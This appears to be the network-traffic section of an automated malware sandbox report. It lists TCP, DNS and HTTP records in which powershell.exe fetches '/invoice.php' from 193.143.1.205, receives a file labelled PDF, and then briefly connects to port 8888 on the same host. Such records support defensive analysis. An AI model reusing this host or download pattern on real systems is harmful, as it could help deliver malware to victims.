Jan 10, 2025 23:31:02.118695974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118714094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118726015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118737936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118747950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118756056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118767977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118777990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118782997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118788958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118794918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118803024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118817091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118822098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118864059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.118959904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118972063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118980885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.118993044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.119004011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.119004011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.119016886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.119024038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.119043112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.119056940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.121299028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.121311903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.121331930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.121341944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.121347904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.121381044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.140233040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.158119917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.158133984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.158143997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.158164024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.158178091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.158232927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.158281088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.162493944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162514925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162529945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162540913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162555933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162581921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.162614107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.162621975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162633896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162646055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162673950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.162688017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162699938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162714005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.162719011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162729979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162744045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162744999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.162760019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162775040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.162812948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.162849903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162862062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162873030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162883043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162898064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.162904978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162915945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162920952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.162929058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.162966967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.168171883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.204619884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204632044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204648972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204659939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204670906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204684019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204703093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204715967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204720020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.204731941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204745054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204755068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.204780102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.204911947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204941034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204961061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204963923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.204972982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204984903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.204996109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205007076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205012083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205018044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205024958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205030918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205043077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205051899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205056906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205070019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205075979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205104113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205241919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205285072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205292940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205303907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205338955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205353022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205365896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205379009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205415010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205590963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205631018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205652952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205665112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205682993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205699921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205703974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205717087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205735922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205743074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205779076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205790997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205868006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205904007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.205974102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.205992937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206028938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206087112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206156969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206192017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206358910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206371069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206382990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206398964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206409931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206418037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206422091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206429958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206434965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206454992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206461906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206469059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206479073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206490993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206510067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206532001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206536055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206548929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206562996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206568003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206605911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206639051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206650972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206661940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206674099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206686974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206686974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206706047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206753969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206764936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206777096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206784010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206789017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206809998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206907034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206918955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206929922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206942081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206943989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206954002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206965923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206974983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.206976891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.206989050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207005978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207011938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.207026958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.207036018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.207041025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207053900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207066059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207077026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207088947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207096100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.207104921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.207215071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207230091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207241058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207252979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207257032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.207264900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207277060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207288980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207289934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.207304001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207324982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207346916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.207348108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.207365036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.207461119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207473993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.207504988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.209084034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.209096909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.209106922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.209120035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.209139109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.209142923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.209155083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.209166050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.209170103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.209206104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.251606941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251619101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251630068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251658916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251672029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251683950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251694918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251707077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251708031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.251756907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.251914978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251934052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251945972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251955986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251960993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.251969099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.251974106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.251990080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252002954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252007961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.252013922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252032042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252036095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.252046108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252055883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252070904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.252080917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.252089024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252099037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252110004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252146006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.252192974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252203941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252223015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.252249002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.252249002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.260720015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292129993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292300940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292314053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292370081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292381048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292378902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292392015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292404890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292459965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292467117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292467117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292471886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292485952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292491913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292500973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292510986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292522907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292536020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292546988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292558908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292568922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292603016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292628050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292639971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292649984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292659998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292664051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292674065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292685986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292694092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292697906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:02.292727947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.292740107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.327238083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:02.714654922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:06.135257006 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:06.140059948 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:06.140173912 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:06.140477896 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:06.145253897 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:06.977375031 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:31:07.029314995 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:31:07.034791946 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:31:18.946549892 CET	53602	53	192.168.2.5	1.1.1.1
Jan 10, 2025 23:31:31.503309011 CET	50324	53	192.168.2.5	1.1.1.1
Jan 10, 2025 23:31:45.500559092 CET	52471	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:31:18.946549892 CET	192.168.2.5	1.1.1.1	0x8d6b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:31:31.503309011 CET	192.168.2.5	1.1.1.1	0xf5db	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:31:45.500559092 CET	192.168.2.5	1.1.1.1	0xde4c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:31:17.296092033 CET	1.1.1.1	192.168.2.5	0xbe86	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:31:17.296092033 CET	1.1.1.1	192.168.2.5	0xbe86	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:31:18.953607082 CET	1.1.1.1	192.168.2.5	0x8d6b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:31:31.512037039 CET	1.1.1.1	192.168.2.5	0xf5db	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:31:45.508629084 CET	1.1.1.1	192.168.2.5	0xde4c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1492	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:31:00.949501038 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:31:01.514537096 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:31:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 